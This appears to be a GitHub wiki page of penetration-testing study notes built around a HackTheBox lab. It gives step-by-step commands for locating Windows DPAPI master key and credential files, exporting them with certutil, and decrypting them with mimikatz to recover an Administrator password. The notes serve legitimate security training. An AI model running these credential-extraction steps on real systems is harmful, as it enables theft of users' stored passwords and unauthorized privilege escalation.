Skip to content

mimikatz crack Win hash

lethanhtung01011980 edited this page Apr 21, 2020 · 24 revisions

Goals

Get master key and credentials

Get master key

  • C:\>cd %appdata%\Microsoft\Protect
  • C:\Users\security\AppData\Roaming\Microsoft\Protect>dir /a
  • C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>dir /a
  • Encode to base64 to easy copy: C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>certutil -encode 0792c32e-48a5-4fe3-8b43-d93d64590580 C:\temp\caca
  • Read base64 to easy copy: C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>type C:\temp\caca

Get credentials

  • Credentials stored in cd %appdata%\Microsoft\Credentials
  • Encode to base64 to easy copy C:\Users\security\AppData\Roaming\Microsoft\Credentials>certutil -encode 51AB168BE4BDB3A603DADE4F8CA81290 C:\temp\pipi
  • Read base64 to easy copy: C:\Users\security\AppData\Roaming\Microsoft\Credentials>type C:\temp\pipi

Use mimikatz

Basics

Decrypt the masterkey indicating the known user's SID and password

  • mimikatz # dpapi::masterkey /in:C:\Users\User\Documents\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller

If everything works as expected, mimikatz should place the decrypted masterkey in cache.

  • mimikatz # dpapi::cache

Now we can read the credentials file and extract the Administrator's password.

  • dpapi::cred /in:D:\OSCP\HTB\101.Access\51AB168BE4BDB3A603DADE4F8CA81290
  • Master password is at CredentialBlob parameter

Upload mimikatz to Windows victim and attack internally

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally